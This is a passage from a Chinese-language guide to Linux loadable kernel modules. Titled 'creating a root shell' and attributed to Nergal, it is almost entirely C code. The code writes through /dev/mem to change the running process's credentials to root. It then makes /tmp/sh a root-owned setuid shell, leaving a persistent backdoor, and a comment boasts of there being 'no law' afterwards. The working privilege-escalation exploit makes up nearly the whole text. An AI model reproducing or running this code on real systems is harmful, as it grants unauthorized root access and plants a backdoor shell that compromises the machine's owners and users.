Linux系统可卸载内核模块完全指南（下） （6）

###adv###　　
创建一个root的shell

/*Nergal的作品*/ 

#define SEEK_SET 0 

#define __KERNEL__ 

#include <linux/sched.h> 

#undef __KERNEL__ 

#define SIZEOF sizeof(struct task_struct) 

int mem_fd; 

int mypid; 

void 

testtask (unsigned int mem_offset) 

{ 

struct task_struct some_task; 

int uid, pid; 

lseek (mem_fd, mem_offset, SEEK_SET); 

read (mem_fd, &some_task, SIZEOF); 

if (some_task.pid == mypid) 

/*是我们的任务结构么？*/ 

{ 

some_task.euid = 0; 

some_task.fsuid = 0; 

/*chown需要这个*/ 

lseek (mem_fd, mem_offset, SEEK_SET); 

write (mem_fd, &some_task, SIZEOF); 

/*从现在起，对于我们来说没有法律。。。*/ 

chown ("/tmp/sh", 0, 0); 

chmod ("/tmp/sh", 04755); 

exit (0); 

} 

} 

#define KSTAT 0x001a8fb8 

/*《-改变这个地址为你的kstat*/ 

main ()　　　　　　　　 

/*通过执行/proc/ksyms|grep kstat*/ 

{ 

unsigned int i; 

struct task_struct *task[NR_TASKS]; 

unsigned int task_addr = KSTAT - NR_TASKS * 4; 

mem_fd = 3;　　　　　　　　 


/*假定要打开的是/dev/mem*/ 

mypid = getpid (); 

lseek (mem_fd, task_addr, SEEK_SET); 

read (mem_fd, task, NR_TASKS * 4); 

for (i = 0; i < NR_TASKS; i++) 

if (task[i]) 

testtask ((unsigned int)(task[i])); 

}